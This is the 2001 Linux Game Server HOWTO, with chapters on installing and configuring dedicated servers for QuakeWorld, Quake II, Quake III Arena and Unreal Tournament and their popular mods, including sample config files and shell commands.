Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.1 or any later version published by the Free Software Foundation; with the Invariant Sections being LIST THEIR TITLES, with the Front-Cover Texts being LIST, and with the Back-Cover Texts being LIST. A copy of the license is included in the section entitled "GNU Free Documentation License".

1.2. Disclaimer

No liability for the contents of this documents can be accepted. Use the concepts, examples and other content at your own risk. As this is a new edition of this document, there may be errors and inaccuracies, that may of course be damaging to your system. Proceed with caution, and although this is highly unlikely, the author(s) do not take any responsibility for that.

All copyrights are held by their by their respective owners, unless specifically noted otherwise. Use of a term in this document should not be regarded as affecting the validity of any trademark or service mark.

Naming of particular products or brands should not be seen as endorsements.

You are strongly recommended to take a backup of your system before major installation and backups at regular intervals.

1.3. History

This document was started by me, Anders Jensen-Urstad <andman@fragzone.se> because I couldn't find a good document that covered several popular multiplayer games describing how to set up servers for them. So instead of wading through piles of readmes, guides, howtos and web-pages I wrote this HOWTO.

Revision History
Revision 0.99 | 2001-07-08 | Revised by: aju
Changed license, minor fixes.
Revision 0.23 | 2001-03-03 | Revised by: aju
Revised and changed Half-Life/Counter-Strike.
Revision 0.22 | 2001-01-28 | Revised by: aju
Added Rocket Arena 3 and Alliance to Quake3.
Revision 0.22 | 2001-01-26 | Revised by: aju
Added Security and permissions, revised QuakeWorld; added QuakeForge. Revised LMCTF. Added Lithium II, L-Fire DM and L-Fire CTF. Revised Q2Admin.
Revision 0.21 | 2001-01-15 | Revised by: aju
Updated Half-Life/Counter-Strike. Added Rocket Arena to QuakeWorld.
Revision 0.20 | 2001-01-14 | Revised by: aju
First draft.

1.4. New Versions

The newest version of this document can be found at its homepage http://illuminatus.unixsweden.net/~andman/howto/ in its SGML source. Other versions may be found in different formats at the LDP homepage http://www.linuxdoc.org/.

1.5. Credits

I have gathered information from lots and lots of different READMEs, HOWTOs, web pages, and of course personal experience. The Unreal Tournament section was written by Knight Walker <kwalker@aros.net>.

  • Christer <vendor@nfn.net> helped with some parts about QuakeWorld.

  • The Quake-HOWTO by <bobz@mr.net> gave info on various things.

  • The Q2 Server FAQ.

  • http://www.atomicage.com:80/quake/server/server_cfg/.

  • http://www.planethalflife.com/server/.

  • Lots of Counter-Strike info from http://server.counter-strike.net.

  • Everybody on #newdeal @ dalnet.. you know who you are. :)

  • id Software for making the best multiplayer games out there.

  • Dave "Zoid" Kirsch for making Threewave CTF for all the Quake games and for the Linux ports!

  • Loki Entertainment Software for their work on Quake3 and for all their contributions to the Linux community.

1.6. Feedback

If you have any questions, comments, suggestions, corrections or whatever, please mail them to me: <andman@fragzone.se>.

Prev | Home | Next
Game Server HOWTO |  | Basics


Quake II

Game Server HOWTO
Prev Next

4. Quake II

Quake II is the sequel to Quake, featuring great multiplayer capabilities just like its prequel.

4.1. System requirements

The minimum system requirements can vary, depending on the number of players you want on your server.

  • A Pentium-class processor or better is recommended. More players = more CPU.

  • At least 16 MB RAM, 1MB per player is recommended.

  • Some maps require more CPU/RAM than others.

  • The *.pak files from the Quake II CD-ROM.

  • Enough free space on your HDD, at least ~500 MB.

  • If you're going to run a Q2 server on the Internet, make sure you have enough bandwidth. The more players the more bandwidth you need.

4.2. Installing

To start a Q2 server you need the pak files from the Q2 CD and the Q2 client package, download the one that suits you (most likely glibc, but you might have libc5 if you have an old distribution):

  • ftp://ftp.sunet.se/pub/pc/games/idgames2/idstuff/quake2/unix/quake2-3.20-glibc-i386-unknown-linux2.0.tar.gz

  • ftp://ftp.sunet.se/pub/pc/games/idgames2/idstuff/quake2/unix/quake2-3.20-i386-unknown-linux2.0.tar.gz

Make a directory for Q2 and extract the Q2 client package to that directory.

bash$ mkdir /usr/local/games/quake2
bash$ tar zxvf quake2-3.20-glibc-i386-unknown-linux2.0.tar.gz -C /usr/local/games/quake2

Now create a baseq2 directory inside the Quake2 directory and copy the pak files from the Q2 CD-ROM.

bash$ mkdir /usr/local/games/quake2/baseq2
bash$ cp /mnt/cdrom/baseq2/*.pak /usr/local/games/quake2/baseq2

Cd to the Quake2 directory and start the server.

bash$ cd /usr/local/games/quake2
bash$ ./quake2 +set dedicated 1 +set deathmatch 1

It should work fine now and people can connect to your server.

4.3. Configuring

Of course, you will want to create a server config (cfg) file. Put the following in a file called server.cfg in the baseq2 directory, modify it as you like:

set hostname "Q2 testserver"
set deathmatch "1"
set rcon_password "xxxx"
set timelimit "30"
set fraglimit "100"
set maxclients "16"
set allow_download "1"
set allow_download_players "0"
set allow_download_models "1"
set allow_download_sounds "1"
set allow_download_maps "1"

Settings:

  • dmflags - A bitflag, controls gameplay options.

  • fraglimit - Next map is loaded when fraglimit is reached.

  • timelimit - Next map is loaded when timelimit is reached.

  • map - Which map to start.

  • maxclients - Max number of players.

  • hostname - Name of the server.

  • deathmatch - If you want to play DM (deathmatch), set this to 1.

  • game - Which mod directory to use, if you want to play a mod.

  • port - What port you want to run the server on.

Now start the server with ./quake2 +set dedicated 1 +exec server.cfg. Your config file will be read and the variables in it will be used. You can have different config files for different game types, for example ffa.cfg, ctf.cfg, etc. with customized settings. They should all be in the baseq2 directory.

To have your server listed on the master servers (so people using GameSpy, XQF and similar programs can see your server), type set public 1 in the server console or in the config file. With the command set setmaster 'master server' you can change master server (default is id Software's master server).

4.4. Q2CTF (Capture The Flag)

Download one of the following, the one that suits your system (most likely glibc for 'modern' distributions).

  • ftp://ftp.sunet.se/pub/pc/games/idgames2/idstuff/quake2/ctf/unix/q2ctf150-glibc-i386-unknown-linux.tar.gz

  • ftp://ftp.sunet.se/pub/pc/games/idgames2/idstuff/quake2/ctf/unix/q2ctf150-i386-unknown-linux.tar.gz

It only contains the file gamei386.so. Make a ctf directory in your Q2 directory and extract the q2ctf archive.

bash$ mkdir /usr/local/games/quake2/ctf
bash$ tar -zxvf q2ctf150-glibc-i386-unknown-linux.tar.gz -C /usr/local/games/quake2/ctf

You'll also want the Q2CTF package with the CTF maps, http://ftp.sunet.se/pub/pc/games/idgames2/idstuff/quake2/ctf/q2ctf150.zip (9,1MB). Unzip it to the ctf directory. To start a CTF server, type ./quake2 +set dedicated 1 +set game ctf +exec server.cfg, where server.cfg is a file you should create in the ctf directory and contain something like this:

deathmatch 3
maxclients 12
rcon_password password
fraglimit 0
timelimit 30
set hostname "Q2CTF Testserver"
set admin "admin@xyz.com"
map q2ctf1

4.5. LMCTF (Loki's Minions CTF)

LMCTF, Loki's Minions CTF, is a popular CTF modification for Q2. You need all the following files:

  • ftp://ftp.sunet.se/planetquake/lmctf/lm520-linux_bin.zip

  • ftp://ftp.sunet.se/pub/games/PC/idgames2/planetquake/lmctf/lmctf456.zip

  • ftp://ftp.sunet.se/pub/games/PC/idgames2/planetquake/lmctf/lmctf50.zip

Create a lmctf directory in your Q2 directory and unzip all the files there. Cd to the Q2 root directory and start with the following command:

bash$ ./quake2 +set dedicated 1 +set deathmatch 1 +set game lmctf +exec server.cfg

There are some files in the lmctf you probably want to edit: server.cfg is the cfg file containing many standard server options, edit it to your liking. The file maplist.txt contains the list of maps the server cycles through. To alter the map list, create a file called maplist.txt with the names of the maps you want in your root Q2 directory and add +map <mapname> to the command line when you start the server, where <mapname> is the name of the first map in your maplist.txt you just created. The motd.txt file contains your message of the day.

For more information on LMCTF, see its homepage at http://www.planetquake.com/lmctf.

4.6. Rocket Arena 2

To run a Rocket Arena 2 server you need the following files:

  • http://ftp2.gamespy.com/pub/cdrom/servers/arena/ra2250sv.zip

  • http://ftp2.gamespy.com/pub/cdrom/servers/arena/ra2250cl.exe - required client files (maps and such).

Create a directory called arena in your quake3 directory and extract the above files:

bash$ cd /usr/local/games/quake2
bash$ mkdir arena
bash$ unzip ~/ra2250sv.zip -d arena
bash$ unzip ~/ra2250cl.exe -d arena

Edit server.cfg to your liking. Another file that you may want to edit is arena.cfg used to customize settings on a per arena basic as well as map rotation information. Start the server:

bash$ /quake2 +set dedicated 1 +set game arena +exec server.cfg

4.7. Lithium II

Lithium II is a very popular, configurable server-side deathmatch mod, adding things like the grappling hook and letting you configure pretty much everything; see its readme.txt file for more information. Download the following file:

  • ftp://ftp.sunet.se/pub/games/PC/idgames2/planetquake/lithium/lithium2_1.24-i386-unknown-linux2.0.tar.gz

Extract the file in your Quake2 directory. All the files will be placed in a lithium directory.

bash$ cd /usr/local/games/quake2
bash$ tar zxvf ~/lithium2_1.24-i386-unknown-linux2.0.tar.gz

Lithium II comes with four different config files, copy one of them to server.cfg and modify it as you like:

  • lithium.cfg - default Lithium II server.

  • stock.cfg - stock Quake2 server.

  • lithctf.cfg - default Lithium II CTF server.

  • stockctf.cfg - stock CTF server.

Start a deathmatch server with this command:

bash$ ./quake2 +set dedicated 1 +set game lithium +exec server.cfg

To start a CTF server, you must have Q2CTF installed. Extract the lithium archive into your ctf directory and start with the following command:

bash$ ./quake2 +set dedicated 1 +set game ctf +set ctf 1 +exec server.cfg

4.8. L-Fire DM

L-Fire DM is a server-side mod that adds many features to Q2, such as organized match support, anti-spam, highscore lists for each level, profanity filtering, etc. What you need:

  • ftp://ftp.sunet.se/pub/games/PC/idgames2/planetquake/lfire/LFireDM_v1_11_Linux.tar.gz

  • ftp://ftp.sunet.se/planetquake/lfire/LFireDM_v1_11_Config.tar.gz

You can run L-Fire DM either from the baseq2 directory, in that case it will show up as a standard DM mod in GameSpy and similar tools, or you can give it its own directory (lfiredm or whatever you prefer). Extract the archive (actually, it only contains two files, gamei386.so and readme.txt), or in other words place gamei386.so in your directory of choice.

bash$ cd /usr/local/games/quake2
bash$ mkdir lfiredm
bash$ tar zxvf ~/LFireDM_v1_11_Linux.tar.gz -C lfiredm

LFireDM_v1_11_Config.tar.gz contains many config files which you'll want to edit. Extract it to the directory where you put gamei386.so:

bash$ tar zxvf ~/LFireDM_v1_11_Config.tar.gz -C lfiredm

Start the server:

bash$ ./quake2 +set dedicated 1 +game lfiredm

4.9. L-Fire CTF

L-Fire CTF is also, like L-Fire DM, a server-side mod that adds many features to Q2CTF, such as match support, anti-spam, highscore lists for each level, rocket arena/sudden death overtime, etc. What you need:

  • ftp://ftp.sunet.se/pub/games/PC/idgames2/planetquake/lfire/LFireCTF_v1_20_Linux.tar.gz

  • ftp://ftp.sunet.se/pub/games/PC/idgames2/planetquake/lfire/LFireCTF_v1_20_Config.tar.gz

Extract the archive to your Q2CTF directory:

bash$ cd /usr/local/games/quake2
bash$ tar zxvf ~/LFireCTF_v1_20_Linux.tar.gz -C ctf

LFireCTF_v1_20_Config.tar.gz contains a bunch of configuration files which you'll probably want to edit. Extract it to the Q2CTF directory:

bash$ tar zxvf ~/LFireCTF_v1_20_Config.tar.gz -C ctf

Start the server just as you normally would:

bash$ ./quake2 +set dedicated 1 +game ctf

4.10. Q2Admin

Q2Admin is a very good transparent proxy modificatiom that adds many admin functions, and the most important, ZBot/Ratbot (among other things) detection to prevent people from cheating. Q2ADmin works with all Q2 mods transparently by filtering communication between the server and the mod it's running on top of. I recommend that you install Q2Admin. Download this file:

  • ftp://ftp.sunet.se/planetquake/q2admin/q2admin18src.tar.gz

Now extract the archive somewhere and compile it:

bash$ cd /usr/local/games/quake2
bash$ mkdir q2admin
bash$ tar zxvf q2admin18src.tar.gz -C q2admin
bash$ cd q2admin; make
bash$ tar zxvf q2admin18src.tar.gz -C /usr/local/games/quake2

Now you should have a file called q2admin.so in the q2admin directory. For each mod you want to protect with Q2Admin, copy the install and q2admin.so files to each mod directory and optionally the *.txt files if you want to customize the Q2Admin settings for different mods. Run install, ./install (chmod +x install if it's not executable) and start the server as usual. The install script moves gamei386.so to gamei386.real.so and q2admin.so to gamei386.so. Run install again to move the files back to their original names. There's a huge number of commands; See the readme.txt file included in the q2admin package for everything you need to know.

Prev | Home | Next
QuakeWorld |  | Quake III Arena


Quake III Arena

Game Server HOWTO
Prev Next

5. Quake III Arena

Quake III is the latest (and last) game in the Quake series, designed as a multiplayer deathmatch game.

5.1. System requirements

As always, the system requirements may vary depending on the number of players on your server.

  • Pentium II 266MHz. More CPU = more players.

  • At least 64 MB RAM.

  • Kernel 2.2.9 or higher, glibc 2.1.

  • The *.pk3 files from the Quake III Arena CD-ROM.

  • At least ~500 MB free space on your HDD.

  • Enough bandwidth if you're going to run an Internet server. More players = more bandwidth.

5.2. Installing

First download the latest Q3A Linux point-release. As of this version of the HOWTO it's v1.27g, but that may have changed when you read this since id Software still releases new versions of Q3A frequently.

  • ftp://ftp.3ddownloads.com/36392/linuxgames/quake3/linuxq3apoint-console-1.29f-beta1.x86.run

Run the installer:

bash$ sh linuxq3apoint-console-1.29f-beta1.x86.run

That'll put the files in /usr/local/games/quake3. Now copy the *.pk3 files from the Q3A CD-ROM to the baseq3 directory.

bash$ cp /mnt/cdrom/Quake3/baseq3/*.pk3 /usr/local/games/quake3/baseq3

Cd to the Q3 directory and test the dedicated server, ./q3ded.

5.3. Configuring

Now it's time to write some config files. They contain all the variables the server will use (maps to be played, gametype, etc..). All cfg's must be in the baseq3 directory. The file q3config.cfg is always executed. I recommend that you have different cfg's for different gametypes, for example ctf.cfg, ffa.cfg, and so on. You can use q3config.cfg for general settings, and then some other cfg on top of it. Run ./linuxq3ded +exec configfile.cfg to run the dedicated server and execute the specified config file. This is what my FFA (Free For All) config file looks like:

set sv_hostname "AndmaN FFA DM"
set sv_maxclients 10
set g_motd "To be or not to be..."
set g_forcerespawn 15
set rconpassword "password"
set g_gametype 1
set fraglimit 50
set timelimit 20

//Here's the map-cycle. When fraglimit or timelimit is reached, the map is automatically changed.
//Otherwise it would just play the same map again.
set m1 "map q3dm1; set nextmap vstr m2"
set m2 "map q3dm2; set nextmap vstr m3"
set m3 "map q3dm3; set nextmap vstr m4"
set m4 "map q3tourney1; set nextmap vstr m5"
set m5 "map q3dm4; set nextmap vstr m6"
set m6 "map q3dm5; set nextmap vstr m7"
set m7 "map q3dm6; set nextmap vstr m8"
set m8 "map q3tourney2; set nextmap vstr m9"
set m9 "map q3dm7; set nextmap vstr m10"
set m10 "map q3dm8; set nextmap vstr m11"
set m11 "map q3dm9; set nextmap vstr m12"
set m12 "map q3tourney3; set nextmap vstr m13"
set m13 "map q3dm10; set nextmap vstr m14"
set m14 "map q3dm11; set nextmap vstr m15"
set m15 "map q3dm12; set nextmap vstr m16"
set m16 "map q3tourney4; set nextmap vstr m17"
set m17 "map q3dm13; set nextmap vstr m18"
set m18 "map q3dm14; set nextmap vstr m19"
set m19 "map q3dm15; set nextmap vstr m20"
set m20 "map q3tourney5; set nextmap vstr m21"
set m21 "map q3dm16; set nextmap vstr m22"
set m22 "map q3dm17; set nextmap vstr m23"
set m23 "map q3dm18; set nextmap vstr m24"
set m24 "map q3dm19; set nextmap vstr m25"
set m25 "map q3tourney6; set nextmap vstr m1"

  • sv_maxclients - Max number of players.

  • g_motd - The message people will see on the bottom of the screen when they connect to your server.

  • g_forcerespawn - Number of seconds until a client is automatically respawned, if the client doesn't do it herself. Set it to 0 to disable force respawn.

  • g_gametype - Gametype. 1 = DM, 2 = Tourney (1-on-1), 3 = Team DM, 4 = CTF.

Start the server with ./q3ded +exec configfile.cfg. You can execute cfg's directly from the server console with the commando exec configfile.cfg. If you want to run the server in the background, immune to hangups, start with nohup ./q3ded +exec ffa.cfg &.

5.4. Q3CTF (Capture The Flag)

CTF is built into Q3A (Q3CTF). Four CTF maps are included with Q3A, but you will want to download Dave 'Zoid' Kirsch's (the author of CTF for Q1/Q2/Q3) Q3WCTF maps at ftp://ftp.fragzone.se/pub/quake3/ctf/q3wctf.zip (8,2M). Here is a CTF cfg which includes all CTF maps in the mapcycle. Paste it to a new file, ctf.cfg, in the baseq3 directory.

set sv_hostname "AndmaN CTF"
set sv_maxclients 16
set g_motd "To be or not to be.."
set g_forcerespawn 10
set rconpassword "password"
set g_gametype 4

set m1 "capturelimit 8; map q3ctf1; set nextmap vstr m2"
set m2 "capturelimit 8; map q3ctf2 ; set nextmap vstr m3"
set m3 "capturelimit 8; map q3ctf3 ; set nextmap vstr m4"
set m4 "capturelimit 8; map q3wctf1 ; set nextmap vstr m5"
set m5 "capturelimit 8; map q3wctf2 ; set nextmap vstr m6"
set m6 "capturelimit 8; map q3wctf3 ; set nextmap vstr m1"

vstr m1

Start with ./q3ded +exec ctf.cfg.

5.5. Rocket Arena 3

Rocket Arena 3 is the popular Quake3 version of Rocket Arena. You need the following files:

  • http://ftp2.gamespy.com/pub/cdrom/servers/arena/ra313sv.zip

  • http://ftp2.gamespy.com/pub/cdrom/servers/arena/ra314clsrv_linux_beta.tgz - update.

  • http://ftp2.gamespy.com/pub/cdrom/servers/arena/ra310cl_linux.tgz - required client files (maps).

Create a directory for RA3 and extract the all the files:

bash$ cd /usr/local/games/quake3
bash$ mkdir arena
bash$ unzip ~/ra313sv.zip -d arena
bash$ tar zxvf ~/ra314clsrc_linux_beta.tgz -C arena
bash$ tar zxvf ~/ra310cl_linux.tgz -C arena

Edit server.cfg to your liking. Start the server with the following command:

bash$ ./q3ded +set fs_game arena +set sv_pure 0 +bot_enable 0 +set dedicated 2 +set net_port 27960 +exec server.cfg

Use +set dedicated 1 to run a private server or +set dedicated 2 to run a public server. For more info on RA3 configuration options, read readsrv.txt in your arena directory.

5.6. Alliance

Alliance is a very popular CTF/DM mod. It offers three different game styles:

  • Alliance - Enhanced CTF with offhanded grappling hook (players can use the grapple and shoot their weapons at the same time).

  • Combat - Resembles the mod Expert Q2. Players spawn with all weapons plus health and ammo regenerate. Slightly different weapons balance, physics and grappling hook style.

  • Instagib - An interesting (and very entertaining) game type where players spawn with an enhanced rail gun with an infinite ammount of ammo. When you shoot your enemy they are instantly gibbed (killed), so health is not an issue here (also, the rail gun is the only weapon).

All the above game styles can be played as CTF, FFA, Team DM or Tourney. Note that the mod was made with CTF in mind. Anyway, you need the following files:

  • http://ftp2.gamespy.com/pub/cdrom/alliance/alliance20.zip

  • http://ftp2.gamespy.com/pub/cdrom/alliance/Alliance20-21.zip - update.

Extract the files:

bash$ cd /usr/local/games/quake3
bash$ unzip ~/alliance20.zip
bash$ unzip ~/Alliance20-21.zip

Now start the server running your desired gametype. Alliance:

bash$ ./q3ded +set dedicated 2 +set fs_game alliance20 +g_gametype 4 +exec sv_alliance.cfg +map actf13

Combat:

bash$ ./q3ded +set dedicated 2 +set fs_game alliance20 +g_gametype 4 +exec sv_combat.cfg +map actf13

Instagib:

bash$ ./q3ded +set dedicated 2 +set fs_game alliance20 +g_gametype 4 +exec sv_instagib.cfg +set fs_basepath $(/bin/pwd) +map actf13

Edit maplist.cfg to change the map rotation.

Prev | Home | Next
Quake II |  | Half-Life


QuakeWorld

Game Server HOWTO
Prev Next

3. QuakeWorld

QuakeWorld is a multiplayer-only version of Quake with optimized network code. Id Software released the sourcecode for Quake/QuakeWorld in 1999, creating a number of projects set out to improve, optimize, add more features to the code and make it more secure. QuakeForge is the most advanced, and I recommend that you use it instead of id's old qwsv if you can. QuakeForge is based on id's QuakeWorld 2.40 code and is totally compatible with it.

3.1. System requirements

Here are the minimum system requirements for the QW (QuakeWorld) server. Remember that the requirements depend on how many players you have on your server.

  • Pentium 90 or better

  • 16 MB RAM

  • The *.pak files from the Quake CD-ROM

  • Kernel 2.0.24 or later

  • Enough free space on your HDD (depends on what you want to install, at least 40-70 MB)

3.2. Installing

First you have to download QuakeForge or qwsv 2.30, the QW server. QuakeForge should be used with all modern distributions. There are two versions of the old qwsv, one for glibc (libc6) and one for libc5 if you happen to run such an old system. Download the version that suits you, most likely QuakeForge.

Note: QuakeForge is actively being developed, and it is highly possible that a newer version than the one linked below is out, so check http://quakeforge.net/files.php before you proceed further.

  • http://download.sourceforge.net/quake/quakeforge-0.2.99beta6.tar.gz

  • ftp://ftp.sunet.se/pub/pc/games/idgames2/idstuff/quakeworld/unix/qwsv-2.30-glibc-i386-unknown-linux2.0.tar.gz

  • ftp://ftp.sunet.se/pub/pc/games/idgames2/idstuff/quakeworld/unix/qwsv-2.30-i386-unknown-linux2.0.tar.gz

Create a directory where you want to place the QW server, /usr/local/games/quake for example.

If you downloaded QuakeForge:

bash$ mkdir /usr/local/games/quake
bash$ tar zxvf quakeforge-0.2.99beta6.tar.gz
bash$ cd quakeforge-0.2.99beta6
bash$ ./configure --prefix=/usr/local/games/quake --bindir=/usr/local/games/quake; make; make install

This will at least build the qf-server and possibly one or more QF-clients. We don't need the latter; you can choose to not compile them or simply remove them if you want to. Anyway, if the compilation went fine you should now have a binary called qf-server in /usr/local/games/quake. You might want to rename it to qwsv since that's what I'll call it in the rest of this document.

If you downloaded qwsv:

bash$ mkdir /usr/local/games/quake
bash$ tar zxvf qwsv-2.30-glibc-i386-unknown-linux2.0.tar.gz -C /usr/local/games/quake

Now create an id1 directory in the quake directory and copy the pak0.pak and pak1.pak files from your Quake CD or wherever you have them into that directory.

bash$ mkdir /usr/local/games/quake/id1
bash$ cp /where/ever/id1/pak*.pak /usr/local/games/quake/id1

Now you're ready to run qwsv! Run it by typing ./qwsv in the quake directory. It should work fine now (if not, check so that all the filenames are lower-case), try connecting to your server with a QW client.

3.3. Configuring

Now it's time to configure your QW server. Make a server.cfg file in the id1 directory containing:

sv_gamedir qw
deathmatch 1
hostname                "QW testserver"
serverinfo admin        "webmaster@xyz.com"
serverinfo url          "http://url.net"
rcon_password xxxx
timelimit 35
fraglimit 150
noexit 1
pausable 0
samelevel 2
maxclients 16
map dm3
floodprot 4 8 30
floodprotmsg "You have activated the flood protection and will be silenced for 30 seconds"
maxspectators 2
allow_dowload 1
allow_download_skins 1
allow_download_models 1
allow_download_sounds 1
allow_download_maps 1

As you can see the server.cfg file contains all kinds of variables the server uses.

  • -master <IP address> - Command line parameter. Connects to the specified master server. QWSV starts in masterless mode by default.

  • -port - Specified the port for the server to listen on, default is 27500.

  • gamedir - Which game directory you want to use. Change it if you want to run a mod, like CTF. The QW directory is used by default.

  • deathmatch - Can be set to 1, 2 or 3. 1 = Normal deathmatch; Weapons/items can be picked up and respawned (30 sec respawn time). 2 = Weapon stay. You can only pick up a weapon once, ammo & armor doesn't respawn. 3 = Combination between 1 and 2. You can only pick up a weapon once, ammo respawns after 15 seconds, everything else respawns normally.

  • hostname - Server name.

  • serverinfo admin - The admin's e-mail address.

  • serverinfo url - Server url.

  • timelimit - Match ends when timelimit (specified in minutes) is reached.

  • fraglimit - Match ends when fraglimit is reached.

  • maxclients - Max number of players.

  • map <mapname> - Map that will be played.

  • maxspectators - Max number of spectators.

  • password - Password protect the server. Clients must set a matching password to be able to connect.

  • rcon_password - Password used for remote administration.

  • allow_download - Set this to 1 to allow clients download files they don't have from the server.

bash$ ./qwsv > /dev/null &

The above command runs the qwsv server in the background and sends all output to /dev/null (if you want to log the output, just replace /dev/null with /blah/qw.log or whatever), -port specifies the port the server will use, default is 27500 for QW. For a complete list of commands and the official QW manual, see http://qwcentral.stomped.com.

3.4. Threewave CTF (Capture The Flag)

Capture The Flag, or CTF for short, is the most popular Quake modification. There are many different CTF-variants. Threewave CTF is the original and most popular CTF modification. You need the following files:

  • ftp://ftp.sunet.se/planetquake/threewave/ctf/server/3wave42.zip - All the server files.

  • ftp://ftp.sunet.se/planetquake/threewave/ctf/server/3wave421.zip - Some bugs fixed (4.2 is required).

  • ftp://ftp.sunet.se/planetquake/threewave/ctf/client/3wctfc.zip - All the CTF maps.

Create a ctf directory and extract all the files you downloaded to it (note: replace ~/ with the path to the directory where you downloaded the files).

bash$ cd /usr/local/games/quake
bash$ mkdir ctf
bash$ unzip ~/3wave42.zip -d ctf
bash$ unzip ~/3wave421.zip -d ctf
bash$ unzip ~/3wctfc.zip -d ctf

Now try to start the server (if you don't specify which map to play it'll default to an interesting modified version of Quake's start level):

bash$ ./qwsv +gamedir ctf +map ctf1

3.5. Rocket Arena

Rocket Arena is a very exciting modification. It's one-on-one games with the simple rule "winner stays, loser goes". Each player waits for his/her turn to fight in the arena. Every player gets full armor (200), 100 health and all weapons when they enter the arena. The winner stays to fight again, the loser goes back to the line. Simple? Yes. Boring? No!

Now, on to installing this modification. Get the following files:

  • ftp://ftp.sunet.se/pub/games/PC/idgames2/planetquake/servers/arena/fasrv12.zip - All the server files.

  • ftp://ftp.sunet.se/pub/games/PC/idgames2/planetquake/servers/arena/farena12.zip - The required client files (maps and sounds).

Create a directory called arena in your quake directory and unzip the above files to that directory:

bash$ cd /usr/local/games/quake
bash$ mkdir arena
bash$ unzip ~/fasrv12.zip -d arena
bash$ unzip ~/farena12.zip -d arena

Start the server:

bash$ ./qwsv +gamedir arena +setmaster 204.182.161.2 +exec rotate.cfg +maxclients 6 +timelimit 20 +fraglimit 15

For map rotation you can choose one of the following (of course you can edit these or make your own, remember that the last map must loop to the first):

  • rotate.cfg - All the Final Arena maps.

  • newmaps.cfg - The new Final Arena and the TF arena maps.

  • classic.cfg - The most popular earlier Arena maps.

Prev | Home | Next
Basics |  | Quake II


Unreal Tournament

Game Server HOWTO
Prev Next

7. Unreal Tournament

Unreal Tournament is a very addictive first person shooter which is designed to be run in several modes; DeathMatch,Capture the Flag, Last Man Standing and Assault are the most popular. It features bots, a bevy of weapons and plenty of community support. It was originally ported as an in-house development effort at Epic but later releases are handled by Loki Software. Current version as of this writing is 436.

7.1. System requirements

As always, the system requirements will vary slightly depending on the number of players on the server. Here are the basics:

  • Pentium 266 (For more than 8 users, a faster server is recommended)

  • At least 32 MB RAM (For a VERY dedicated machine. The more maps, skins, mutators, bots, and players that are online, the more RAM the server will use.) 64 MB is highly recommended.

  • Linux kernel 2.2.14 or later, Glibc 2.1 or later.

  • The retail Unreal Tournament CD (Just the first one is necessary).

  • At least 500 MB disk space. Maps, skins, and mods will require a bit more.

  • Enough bandwidth if you're going to run an Internet server. Epic recommends about 20kbps per player.

7.2. Installing

First, download the latest ut-install file from Loki's website. As of this version of the HOWTO, that is 436.

  • http://www.lokigames.com/products/ut/updates.php3

Mount the Unreal Tournament CD (Usually /cdrom or /mnt/cdrom), and run the ut-install*.run file. It will verify the archive, check the CD for the appropriate files, and begin installing. It will ask you where you want to install UT to, as well as a few other questions. It is actually fairly painless.

Once you have it installed, you will want to change ownership of the files to the user ID that they will be running under (See Security and permissions).

7.3. Configuring

Now it's time to write a config file. Unreal Tournament uses an INI-style config file format which is exactly like Windows INI files. This config file will contain ALL the variables the server will use, including game types, defaults for those types, number of players, bots, etc. The cfg's should be kept in the System/ directory (either $UTROOT/System/ or ~/.loki/ut/System/). If you have an UnrealTournament.ini and/or User.ini in that System/ directory, it will be loaded and can override settings in the server's cfg file. This is a sanitized copy of my server's cfg file (called ucc.ini):

----[snip]-----
[URL]
Protocol=unreal
ProtocolDescription=Unreal Protocol
Name=Player
Map=Index.unr
LocalMap=DM-Deck16][.unr
Host=
Portal=
MapExt=unr
SaveExt=usa
Port=7777
Class=Botpack.TMale1

[FirstRun]
FirstRun=428

[PackageRemap]
UnrealShare=UnrealI

[Engine.Engine]
GameRenderDevice=NullDrv.NullRenderDevice
WindowedRenderDevice=NullDrv.NullRenderDevice
RenderDevice=NullDrv.NullRenderDevice
AudioDevice=NullDrv.NullRenderDevice
NetworkDevice=IpDrv.TcpNetDriver
DemoRecordingDevice=Engine.DemoRecDriver
Console=UTMenu.UTConsole
Language=int
GameEngine=Engine.GameEngine
EditorEngine=Editor.EditorEngine
DefaultGame=Botpack.DeathMatchPlus
DefaultServerGame=Botpack.DeathMatchPlus
ViewportManager=SDLDrv.SDLClient
Render=Render.Render
Input=Engine.Input
Canvas=Engine.Canvas

[Core.System]
PurgeCacheDays=30
SavePath=../Save
CachePath=../Cache
CacheExt=.uxx
Paths=../System/*.u
Paths=/path/to/ut/Maps/*.unr
Paths=/path/to/ut/Textures/*.utx
Paths=/path/to/ut/Sounds/*.uax
Paths=/path/to/ut/Music/*.umx
Suppress=DevLoad
Suppress=DevSave
Suppress=DevNetTraffic
Suppress=DevGarbage
Suppress=DevKill
Suppress=DevReplace
Suppress=DevSound
Suppress=DevCompile
Suppress=DevBind
Suppress=DevBsp

[Engine.GameEngine]
CacheSizeMegs=4
UseSound=False
ServerActors=IpDrv.UdpBeacon
ServerActors=IpServer.UdpServerQuery
;ServerActors=IpServer.UdpServerUplink MasterServerAddress=unreal.epicgames.com MasterServerPort=27900
;ServerActors=IpServer.UdpServerUplink MasterServerAddress=master0.gamespy.com MasterServerPort=27900
;ServerActors=IpServer.UdpServerUplink MasterServerAddress=master.mplayer.com MasterServerPort=27900
ServerActors=UWeb.WebServer
ServerPackages=SoldierSkins
ServerPackages=CommandoSkins
ServerPackages=FCommandoSkins
ServerPackages=SGirlSkins
ServerPackages=BossSkins
ServerPackages=Botpack

[Engine.Player]
ConfiguredInternetSpeed=20000
ConfiguredLanSpeed=20000

[IpDrv.TcpNetDriver]
AllowDownloads=True
ConnectionTimeout=15.0
InitialConnectTimeout=300.0
AckTimeout=1.0
KeepAliveTime=0.2
MaxClientRate=20000
SimLatency=0
RelevantTimeout=5.0
SpawnPrioritySeconds=1.0
ServerTravelPause=4.0
NetServerMaxTickRate=20
LanServerMaxTickRate=35
DownloadManagers=IpDrv.HTTPDownload
DownloadManagers=Engine.ChannelDownload

[Engine.DemoRecDriver]
DemoSpectatorClass=Botpack.CHSpectator
MaxClientRate=25000
ConnectionTimeout=15.0
InitialConnectTimeout=500.0
AckTimeout=1.0
KeepAliveTime=1.0
SimLatency=0
RelevantTimeout=5.0
SpawnPrioritySeconds=1.0
ServerTravelPause=4.0
NetServerMaxTickRate=60
LanServerMaxTickRate=60

[Engine.GameReplicationInfo]
ServerName=Generic UT Server
ShortName=UT Server
AdminName=Lamer
AdminEmail=root@localhost
Region=0
MOTDLine1=
MOTDLine2=
MOTDLine3=
MOTDLine4=

[IpDrv.TcpipConnection]
SimPacketLoss=0
SimLatency=0

[IpServer.UdpServerUplink]
DoUpLink=False
UpdateMinutes=1
